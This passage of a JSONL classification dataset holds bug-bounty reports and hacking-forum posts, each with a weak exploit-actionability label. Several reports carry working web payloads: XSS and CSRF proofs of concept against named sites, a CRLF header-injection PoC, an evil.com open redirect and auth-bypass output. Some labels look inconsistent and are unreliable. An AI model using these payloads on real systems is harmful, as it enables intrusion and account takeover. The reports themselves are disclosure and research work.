Keep doing this untill we see **hasNextPage** set to false in the response. by doing this we can get all the pages of mod logs one by one.\n\n> Use this script to make things easier in confirming this vulnerability (F1851561)\n> The output will get stored in mod_log_out.txt in the same directory\n\n  * [attachment / reference]\n\nF1851522\nF1851533\nF1851561\n\n## Impact\n\nConfidential information getting exposed.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "129d4ec46ef3a37731f4", "text": "[Array Index Underflow] Take over subdomain undici.nodejs.org.cdn.cloudflare.net\n\nHello,\n\nthis is a pretty serious security issue in some contexts, so please act as soon as possible\n\nSummary:\n\nI just went to undici.nodejs.org, and I've also checked the IP of the main domain it goes to cdn.cloudflare.net which means if it's not added it can be added to any github account your subdomain should be added to your account so shows the URL you selected. This vulnerability is called subdomain takeover\n\n•Remove CNAME records from DNS zone completely\n\nPoc\nhttp://undici.nodejs.org.cdn.cloudflare.net/\n\n## Impact\n\nSubdomain takeovers are abused for several purposes:\n\nMalware distribution\n•Phishing / Spear phishing\n•XSS\n•Bypass authentication\n•...\n\n\nThe list goes on and on. Since some certificate authorities (Let's Encrypt) only require domain verification, SSL certificates can be generated easily.\n\nRegards Algisec1337", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fcbef97aec593f698fb2", "text": "[Cross-site Scripting (XSS) - Reflected] XSS via Vuln Rendertron Instance At `██████████.jetblue.com/render/*`\n\n## Summary\n\nI found that you have █████████ installed on your server, but it may not be up to date. i was able to get around ███'s xss block and get it to raise an alert. this is a type of xss that is mirrored and as soon as you send a link to a person, the xss runs. and in a malicious scenario, it would be very compatible. why?\n\nbecause it takes the code from the uploaded page and runs it as a response on the server.\n\nNow you may say this is normal for a render page.\nBut unfortunately, it is not normal for an xss code to work, and it works in a subdomain with your domain.\n\n## Affected URL\n\n- https://█████████.jetblue.com/render\n- https://██████████.jetblue.com/\n- https://█████.jetblue.com/render/https://berkaybasar.github.io/  $Vulnerable Point\n\n## Request\n\n```\nGET /render/https://berkaybasar.github.io/ HTTP/2\nHost: ███.jetblue.com\nCookie: _ga=GA1.2.948863714.1675140227; _gid=GA1.2.104763714.1675140227\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nReferer: https://█████████.jetblue.com/\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\n```\n\n## Response\n\n```\nHTTP/2 200 OK\nContent-Type: text/html; charset=utf-8\nX-Renderer: ██████████\nStrict-Transport-Security: max-age=15724800; includeSubDomains\nVia: 1.1 varnish, 1.1 varnish\nAccept-Ranges: bytes\nDate: Tue, 31 Jan 2023 05:20:05 GMT\nAge: 0\nX-Served-By: cache-iad-kjyo7100133-IAD, cache-hhn-etou8220066-HHN\nX-Cache: MISS, MISS\nX-Cache-Hits: 0, 0\nX-Timer: S1675142405.512544,VS0,VE1332\nVary: Accept-Encoding\nContent-Length: 182\n\n<html><head><base href=\"https://berkaybasar.github.io/\"></head><body><xss onblur=\"alert(1)\" id=\"x\" tabindex=\"1\" style=\"display:block\">test</xss><input value=\"clickme\">\n</body></html>\n\n```\n\n## VIDEO\n\n{F2145532}\n\n## Impact\n\nphishing redirect , stealing cookies etc.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b82caef5bfd853cb1399", "text": "Pentesting Pre-engagement phase\n\nHello hackersploit community, I have a nooby question, I plan to start providing pentesting services to some clients, I’m following the NIST SP 800-115 but does not go much in depth with the pre-engagement part, like ROE meetings, kick off meeting, scoping, legal considerations etc… what has been your experience with these topics with your clients and how do you usually approach it, do you guys have a checklist?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-06-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "626b6c3a24f720698cec", "text": "Yes, I finally got it thanks to your hint! But please enlighten me: netstat -antp | grep -i , as suggested in the course module won’t show that that service exposed on the localhost. What is the correct synthax to use netstat to identify the open port on localhost?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4ec8372a8f8ea64ab26a", "text": "[Information Disclosure] POST following PUT confusion\n\nThe bug I submitted at https://github.com/curl/curl/issues/9507 can have at least a few unintended security issues:\n\nInformation Disclosure: this bug causes an HTTP PUT to occur when the user intends for an HTTP POST to occur. The user, who intended an HTTP POST, expects the POSTed information to come from CURLOPT_POSTFIELDS. However, as an HTTP PUT is performed instead, the data that is PUT comes from a buffer specified in CURLOPT_READDATA, which may be sensitive information intended for an entirely different host (host1.com below). If CURLOPT_READDATA is not specified, this data could come from stdin!\nUse after free: using the description above, if the user had already freed the data specified in CURLOPT_READDATA, then the unintended HTTP PUT (which was intended to be an HTTP POST) would attempt to read the freed data specified in CURLOPT_READDATA.\n\n## Impact\n\nAn attacker could potentially inject data, either from stdin or from an unintended buffer. Further, without even an active attacker, this could lead to segfaults or sensitive information being exposed to an unintended recipient.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8ddeeaee97b240ac8f2c", "text": "[Improper Certificate Validation] Invalid handling of X509_verify_cert() internal errors in libssl (CVE-2021-4044)\n\nInternally libssl in OpenSSL calls X509_verify_cert() on the client side to\nverify a certificate supplied by a server. That function may return a negative\nreturn value to indicate an internal error (for example out of memory). Such a\nnegative return value is mishandled by OpenSSL and will cause an IO function\n(such as SSL_connect() or SSL_do_handshake()) to not indicate success and a\nsubsequent call to SSL_get_error() to return the value\nSSL_ERROR_WANT_RETRY_VERIFY. This return value is only supposed to be returned\nby OpenSSL if the application has previously called\nSSL_CTX_set_cert_verify_callback(). Since most applications do not do this the\nSSL_ERROR_WANT_RETRY_VERIFY return value from SSL_get_error() will be totally\nunexpected and applications may not behave correctly as a result. The exact\nbehaviour will depend on the application but it could result in crashes,\ninfinite loops or other similar incorrect responses.\n\nThis issue is made more serious in combination with a separate bug in OpenSSL\n3.0 that will cause X509_verify_cert() to indicate an internal error when\nprocessing a certificate chain. This will occur where a certificate does not\ninclude the Subject Alternative Name extension but where a Certificate Authority\nhas enforced name constraints. This issue can occur even with valid chains.\n\n## Impact\n\nBy combining the two issues an attacker could induce incorrect, application\ndependent behaviour.\n\nOpenSSL 3.0.0 SSL/TLS clients are affected by this issue.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-4044"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7bc5138d701a2279461c", "text": "[Business Logic Errors] Certificate authentication re-use on redirect\n\n## Summary:\nCurl will reuse existing certificate for further TLS requests when following redirects. This is similar to `CVE 2022-27774` but with narrower impact, as the secret (private key) is not leaked.\n\n## Steps To Reproduce:\n  1. Configure a site (`targetsite.tld`) to require client certificates for authentication\n  2. Have `client.crt` and `client.key` that can be used to access this site\n  3.  Create an attacker controller site `https://evilsite.tld/something` that redirects to `https://targetsite.tld/secretfile`\n  4. `curl -L --cert client.crt --key client.key https://evilsite.tld/something`\n  5.  The redirect is followed and the secretfile content fetched\n\nIn effect the attacker can choose which content is accessed with the client certificate. This proof of concept is of course rather silly as one-liner curl command, but it still demonstrates the  inability of libcurl to restrict where key/cert are used. This scenario of course requires that the application in question can be passed attacker controlled URLs and that redirects are followed. If the attacker also wishes to obtain the secretfile response the application in question should be returning the file contents to the request to the attacker (lets assume attacker can pass URLs the app and gets the fetched content back as result).\n\nConfiguring client key/cert for arbitrary requests is unwise. However, since the common understanding is that the client certificate public key is \"useless\" to the attacker without the corresponding private key, it might happen that this (arguably silly) use pattern might exists. It is \"harmless\" after all...\n\n I believe that the key/cert should not used when following a redirect to a different protocol/host/port. This wouldn't prevent the minor leak of the `client.crt` to the attacker, but at least the attacker wouldn't get to choose which resources to access.\n\nThis is CWE-522: Insufficiently Protected Credentials\n\n## Impact\n\nThe attacker can control which resource is accessed with the key/cert, and potentially gain unauthorised access to confidential information.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7c1556238756d59d9682", "text": "I was stuck there, too…think of what you usualy test on logins. When you can’t directly bypass an authentication, maybe you can use an automation-tool that gets you a dump of credentials.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "473ae382954d7543cfd7", "text": "Have you found how to decode ? I’m approaching the same problem", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b59426a148bf6f0a08b6", "text": "[Unknown] Unrestricted Access to Celery Flower Instance\n\nHi Team,\n\nThe Celery Flower instance is running and publicly accessible via the PIM mobile route /pim/flower/*. The access to this service is presently unrestricted. \n\nI quickly took a glance at the API to ensure that access is unrestricted. From this quick look, it appears possible to shut down a worker instance, revoke or terminate tasks, and perform other actions. In addition to unrestricted access to tasks and workers, I observed ███ via `/api/tasks` endpoint. Most importantly, the endpoint `/api/task/async-apply/*` seems to apply a task asynchronously, and there seems to be a possibility to execute arbitrary code on the Celery worker through this endpoint. I believe it's unwise for me to go beyond this since the instance is running in the prod environment, so I'm sending this quick report to you. If some form of escalation is needed for impact assessment, please let me know.\n\n##Vulnerable Endpoint\n```\nhttps://api.excalls.mobi/pim/flower/\n```\n\n#Steps to Reproduce\n\n```\nhttps://api.excalls.mobi/pim/flower/api/workers\nhttps://api.excalls.mobi/pim/flower/api/tasks\nhttps://api.excalls.mobi/pim/flower/api/task/info/dc58fcb7-be31-4f4e-aeff-5837f0c32d30\n```\n\n\n\n#Proof of Concept\n█████\n\n████\n\n██████\n\n\n#Suggested Mitigation\n\nSet the `flower_unauthenticated_api` environment variable to `false`\n\n## Impact\n\nThe impact includes, but is not limited to:\n\n1. Manipulating tasks to achieve unintended outcomes, such as disrupting or halting PIM processes.\n2. ███\n3. A malicious actor could continuously monitor and revoke tasks as they are created, preventing their execution and consuming resources. This could exhaust the Celery worker's resources and hinder its ability to handle legitimate tasks.\n4. There seems to be a possibility to execute arbitrary code on the Celery worker by executing a task asynchronously.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b525648476967da1acc2", "text": "I do it in this way and work very perfect netstat -luntp | grep “0.0.0.” | grep -v “127.0.0” | grep “LISTEN” | wc -l 2>/dev/null", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "76d47efa63ca96b73241", "text": "Using batch file to open multiple text files using Notepad simultaneously\n\n\tDiscussion in 'Operating System' started by terrylau, Jul 2, 2009.\n\nI have a requirement to open ten random files in a directory(its not a single directory, it is multi directory structure.)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "go4expert", "timestamp": "2022-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f1bb7ababab9327dd245", "text": "[Path Traversal: 'dir\\..\\..\\filename'] Potential directory traversal in OC\\Files\\Node\\Folder::getFullPath\n\nhttps://github.com/nextcloud/server/blob/67551f379f3105d117b9d19095dd381450fe40dd/lib/private/Files/Node/Folder.php#L68-L73\nis validating and normalizing the string in the wrong order.\n\nValidation checks for `/../` kind of situations and `normalizePath` later on replaces `\\` with `/`, so it would be possible to get `/../` again.\n\n```php\n\tpublic function getFullPath($path) {\n\t\tif (!$this->isValidPath($path)) {\n\t\t\tthrow new NotPermittedException('Invalid path');\n\t\t}\n\t\treturn $this->path . $this->normalizePath($path);\n\t}\n```\n\n## Impact\n\nThe function seems to be used in newFile() and newFolder() items, allowing to create paths outside of ones own space and overwriting stuff from others.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e805d9e8abd7dea0bd4b", "text": "Nmap | Convert MACs of hosts discovered over IPv4 into IPv6 Link-Local addresses.\n\nI was trying to perform conversion of obtained mac addresses from ipv4 scan to ipv6 link-local addresses in nmap, but as it seems, theres no such parameter to do that within nmap. MY QUESTION: Does nmap has such “parameter” to convert mac addresses to ipv6 link-local addresses within the same nmap query without piping to other tools?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-05-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "106ff62251227573b663", "text": "Hello there, Can you please give me a hint ? i tried: I am getting the message “Malicious request denied” but i cant find anywhere in the code the response for the “ls” or “whoami” command in order to continue further. Am i missing something ?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "64ce0f2a8dc811bd3767", "text": "[Open Redirect] [https://█████████/]&&[https://█████████/] Open Redirection\n\n***Summary***\n\nHi Team,\n\nAn attacker can redirect vicitm on an external website using ``https://████/account/login``  endpoint because ``next`` parameter is not being validated properly.\n\n***Affected URL***\n\n`https://███/account/login/?next=///////////////////////////evil.com`\n\n***Steps to Reproduce***\n\n1) Go https://████/account/login/?next=%2Fapp%2F .\n2) Add this payload `////////////////////////////evil.com` to the `?next=` parameter .\n3) Registeran account in the normal way .\n4) You will be redirected to evil.com website .\n\n***POC***\n{F467696}\n\n***References***\n\n* https://hackerone.com/reports/347645\n* https://hackerone.com/reports/125003\n* https://hackerone.com/reports/411723\n\n## Impact\n\n* Open redirects allow a malicious attacker to redirect people unknowingly to a malicious\nwebsite .\n* Simplifies phishing attacks .", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a7f71614693c937218db", "text": "[Uncontrolled Resource Consumption] Enrolling to a CA that returns an empty response crashes the node process\n\nIf a CA server responds with an empty response during enrollment, an exception is thrown in the event emitter on `end`. This is an uncaughtException and causes the containing node process to exit.\n\n# To replicate:\nWith the attached files, run:\n```\nnpm install\nnode badCa.js &\nnode index.js\n```\n\nThis starts a simple malicious CA server that provides a response that triggers the exception. The `index.js` script tries 2 different scenarios:\n- 1. With a known bad URL, which throws an exception which can be caught by the client application\n- 2. With a malicious CA, which throws an exception which cannot be caught by the client application because of the EventEmitted behaviour in node.\n\n> From https://nodejs.org/api/events.html#events_error_events\n> If an EventEmitter does not have at least one listener registered for the 'error' event, and an 'error' event is emitted, the error is thrown, a stack trace is printed, and the Node.js process exits.\n\n# Fix\n\nReplace https://github.com/hyperledger/fabric-sdk-node/blob/c10865cfb20d063fdef4c7d96c25c1581f309e84/fabric-ca-client/lib/FabricCAClient.js#L457\n`util.format('Enrollment failed with HTTP status code', JSON.parse(data).statusCode)));`\nwith \n`util.format('Enrollment failed with HTTP status code', response.statusCode)));`\n\nThe same issue is present at https://github.com/hyperledger/fabric-sdk-node/blob/0d24cec10f7a3e0153fcf3f0158a89c5eaa0cfab/fabric-ca-client/lib/FabricCAClient.js#L318\n\n## Impact\n\nThis attack allows an attacker to cause any node client application using the fabric-ca-node SDK to exit. In scenarios where the SDK is used in a server-side application, this will have the effect of denying the use of that server to other users.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4c4d3f1918c070f73779", "text": "Thanks, that helped a lot!! Also, in this case, you have to use -u with hydra in order to try alle usernames per password instead of first trying all passwords with one username (hope I formulated it clearly …) … this will significantly speed up the process.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0d5d59be8fe390ac3768", "text": "Red Team Training, C2 frameworks?\n\nCan we do in Caldera, what we can do with Empire? Caldera can do more, but can Caldera be used instead of Empire? Like ZAP can do what Burp can, and vice versa.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-04-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "58ec98b1caa634605cf9", "text": "[Unknown] Potential Authentication Bypass through \"autologin\" feature\n\n## Summary:\nThe vulnerability is located in the `/plugins/preloads/autologin.php` script:\n\n```\n45.\t\t\t$uname = $myts->stripSlashesGPC($autologinName);\n46.\t\t\t$pass = $myts->stripSlashesGPC($autologinPass);\n47.\t\t\tif (empty($uname) || is_numeric($pass)) {\n48.\t\t\t\t$user = false ;\n49.\t\t\t} else {\n50.\t\t\t\t// V3\n51.\t\t\t\t$uname4sql = addslashes($uname);\n52.\t\t\t\t$criteria = new icms_db_criteria_Compo(new icms_db_criteria_Item('login_name', $uname4sql));\n53.\t\t\t\t$user_handler = icms::handler('icms_member_user');\n54.\t\t\t\t$users = $user_handler->getObjects($criteria, false);\n55.\t\t\t\tif (empty($users) || count($users) != 1) {\n56.\t\t\t\t\t$user = false ;\n57.\t\t\t\t} else {\n58.\t\t\t\t\t// V3.1 begin\n59.\t\t\t\t\t$user = $users[0] ;\n60.\t\t\t\t\t$old_limit = time() - (defined('ICMS_AUTOLOGIN_LIFETIME') ? ICMS_AUTOLOGIN_LIFETIME : 604800);\n61.\t\t\t\t\tlist($old_Ynj, $old_encpass) = explode(':', $pass);\n62.\t\t\t\t\tif (strtotime($old_Ynj) < $old_limit || md5($user->getVar('pass') .\n63.\t\t\t\t\t\t\tICMS_DB_PASS . ICMS_DB_PREFIX . $old_Ynj) != $old_encpass)\n64.\t\t\t\t\t{\n65.\t\t\t\t\t\t$user = false;\n66.\t\t\t\t\t}\n```\n\nUser input passed through the \"autologin_uname\" and \"autologin_pass\" cookie values is being used at lines 51-54 to fetch an user object from the database, and then at lines 62-63 to check the correctness of the user's password. The vulnerability exists because of an unsafe way of comparing those parameters, due to comparison operator `!=` is being used instead of `!==` within the “if” statement at lines 62-63. The latter operator returns “true” only if the compared values are equal and the same type, while the first compare the values after “[type juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling)”. This might be exploited to bypass the authentication mechanism and login as any user without the knowledge of the relative password.\n\n## ImpressCMS branch :\nThe vulnerability has been spotted on ImpressCMS version 1.4.2 (the latest at the time of writing).\n\n## Steps To Reproduce:\nUse the attached Proof of Concept (PoC) script to reproduce this vulnerability. It's a PHP script supposed to be used from the command-line (CLI). You should see an output like the following:\n```\n$ php auth-bypass.php http://localhost/impresscms/ admin\n[-] Starting authentication bypass attack...\n[-] 2021-01-20 022141\n[-] You can autologin with the following cookies:\n[-] Cookie: autologin_uname=admin; autologin_pass=2021-01-20 022141:0\n```\n\n**NOTE**: the script will try to send multiple requests with incremental dates within the `autologin_pass` cookie (that will be the value of the `$old_Ynj` variable), and this will generate a different MD5 hash for each request, until something like `0e174892301580325162390102935332` will be returned by the `md5()` function. For this reason, the exploitation likelihood is very low, and the script execution might take days, months, or a theoretically infinite time.\n\n## Impact\n\nThis vulnerability could potentially be exploited to bypass the authentication mechanism and login without valid credentials.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "520d5865d6f73937d469", "text": "[CRLF Injection] 'net/http': HTTP Header Injection in the set_content_type method\n\nThe set\\_content\\_type's parameter is not filtered to prevent the injection from altering the entire request.\n\nThe vulnerable code:\n```ruby\n  def set_content_type(type, params = {})\n    @header['content-type'] = [type + params.map{|k,v|\"; #{k}=#{v}\"}.join('')]\n  end\n```\n\n# PoC\n\n1.\n```ruby\nrequire 'net/http'\n\nuri = URI('http://127.0.0.1:8080')\nreq = Net::HTTP::Post.new(uri)\nreq.set_content_type('text/html', \"charset\" => \"iso-8859-1\\nHeader:Inject\")\n\nresp = Net::HTTP.start(uri.hostname, uri.port) do |http|\n  http.request(req)\nend\n```\n\n2.\n```\n$ nc -lvp 8080\nListening on 0.0.0.0 8080\nConnection received on localhost 57620\nPOST / HTTP/1.1\nAccept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3\nAccept: */*\nUser-Agent: Ruby\nHost: 127.0.0.1:8080\nContent-Type: text/html; charset=iso-8859-1\nHeader:Inject # <<<<<<<<\nContent-Length: 0\n```\n\nI set the same severity as [CVE-2020-26116](https://nvd.nist.gov/vuln/detail/CVE-2020-26116) has.\n\n## Impact\n\nIn web applications a CRLF injection can have severe impacts, depending on what the application does with single items. Impacts can range from information disclosure to code execution, a direct impact web application security vulnerability.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-26116"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9aa7051133a20d18b5d0", "text": "[Cross-Site Request Forgery (CSRF)] Cross-Site Request Forgery (CSRF) to xss\n\nhello dear support\n\ni have found csrf to xss on https://dailydeals.mtn.co.za/index.cfm?GO=DEALS\n\nURL:https://dailydeals.mtn.co.za/index.cfm?GO=DEALS\n\nURL encoded POST input CFID was set to fbe8c86c-c0b2-4421-8ca2-dcfc14763d6e\"><img src=x onerror=alert(document.domain)>\n\nHTTP request\n============\nPOST /index.cfm?GO=DEALS HTTP/1.1\nHost: dailydeals.mtn.co.za\nCookie: EBSAuthCookie=15302|||N; TS011bbda7=014f25e894c21e6b965792d5df17dd4ba82e1424b80a3aa2fbd660ae991db17501f4bbd59e45568e30ca4fffd17a7b0b225c8e53dd; cfid=3283cef9-4136-403d-ae30-fa9a875b1da3; cftoken=0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 150\nOrigin: https://dailydeals.mtn.co.za\nReferer: https://dailydeals.mtn.co.za/index.cfm?GO=DEALS\nUpgrade-Insecure-Requests: 1\nTe: trailers\nConnection: close\n\nCFID=fbe8c86c-c0b2-4421-8ca2-dcfc14763d6e%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&CFTOKEN=0&category_id=9&cpID=1&location_id=0&m=1\n\n\nCsrf Poc\n=========\n\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"https://dailydeals.mtn.co.za/index.cfm?GO=DEALS\" method=\"POST\">\n      <input type=\"hidden\" name=\"CFID\" value=\"fbe8c86c&#45;c0b2&#45;4421&#45;8ca2&#45;dcfc14763d6e&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;document&#46;domain&#41;&gt;\" />\n      <input type=\"hidden\" name=\"CFTOKEN\" value=\"0\" />\n      <input type=\"hidden\" name=\"category&#95;id\" value=\"9\" />\n      <input type=\"hidden\" name=\"cpID\" value=\"1\" />\n      <input type=\"hidden\" name=\"location&#95;id\" value=\"0\" />\n      <input type=\"hidden\" name=\"m\" value=\"1\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n\n## Impact\n\nMalicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.\n\nFurthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "583cd9f80fed6468392f", "text": "[Reliance on Cookies without Validation and Integrity Checking in a Security Decision] Able to blocking users with 2fa from login into their accounts by just knowing the SteamID\n\nHi, team!\n\n## Summary:\nBy changing the steamID cookie on confirm 2fa code request, I am able to block the login of an account with 2fa for 5 minutes (300 seconds).\nSo I am able to block users with 2fa from login into their accounts by just knowing the SteamID.\n\n## Steps To Reproduce:\n\n  1. Login into your account with 2fa. \n1. Get the request to confirm the 2fa code.\n\n{F1282394}\n\n\n```http\nPOST /login/confirm HTTP/1.1\nHost: cs.money\nContent-Length: 28\nConnection: close\nCookie: steamid=<victim_steam_id>;\n\n{\"token\":\"foo\",\"code\":\"foo\"}\n```\n\n2. Change the cookie steamid to the victim one.\n3. Repeat the request 4 times (4 wrong codes).\n\n-------\n\n█████\n\n## Impact\n\nI hacker could block everyone with 2fa from login into cs.money.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2aa9e06ce45e17a6db45", "text": "[Improper Access Control - Generic] [h1-2102] Improper Access Control at https://shopify.plus/[id]/users/api in operation UpdateOrganizationUserRole\n\n## Summary:\nThere is an access control issue that happens when a Shopify Plus admin tries to assign a role to a user in another organisation. While the response shows an error message, an email is sent to the shop admin with the first name, last name and email address of the user.\n\n## Steps To Reproduce:\n1. Log in to your Shopify Plus account https://shopify.plus/login\n2. Go to `Administration` -> `Users` -> `Roles` -> `Create role` then proceed to create a role\n3. Go to `Administration` -> `Users` -> `All users` -> `Add users` then proceed to create a user\n4. In `Administration` -> `Users` -> `All users`, click on the new user to go to the user page (ie. https://shopify.plus/34808573/users/34057938)\n6. In `Access and permissions`, in the `Role` section, click on `Change access` then `Change role`\n\n    {F1168058} \n\n7. Change the role, and notice the following HTTP request :\n\n    ```http\nPOST /34808573/users/api HTTP/1.1\nHost: shopify.plus\n[...]\n\n    {\"operationName\":\"UpdateOrganizationUserRole\",\"variables\":{\"id\":\"Z2lkOi8vb3JnYW5pemF0aW9uL09yZ2FuaXphdGlvblVzZXIvMzQwNzE2MzI=\",\"roleId\":\"Z2lkOi8vb3JnYW5pemF0aW9uL1JvbGUvNjYxAAA=\"},\"query\":\"mutation UpdateOrganizationUserRole($id: OrganizationUserID!, $roleId: RoleID!) {\\n  updateOrganizationUserRole(id: $id, roleId: $roleId) {\\n    organizationUser {\\n      id\\n      status\\n      role {\\n        id\\n        name\\n        __typename\\n      }\\n      propertyAccess {\\n        shops {\\n          edges {\\n            node {\\n              shopUserId\\n              status\\n              __typename\\n            }\\n            __typename\\n          }\\n          __typename\\n        }\\n        apps {\\n          edges {\\n            node {\\n              status\\n              __typename\\n            }\\n            __typename\\n          }\\n          __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    userErrors {\\n      field\\n      message\\n      __typename\\n    }\\n    message\\n    operationStatus\\n    __typename\\n  }\\n}\\n\"}\n```\n8. Base64-decode the `id` value and change the user to `34071632` then send the request again\n9. The request will fail, but you should receive an email containing Anatoly information (first name, last name and email address).\n    {F1168063}\n\n## Impact\n\nA Shopify Plus admin can retrieve PII from another user outside his organisation (first name, last name and email address).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7d468677bb8458f7c72b", "text": "[Unknown] cpp: if (a+b>c) a=c-b is incorrect if a+b overflows\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
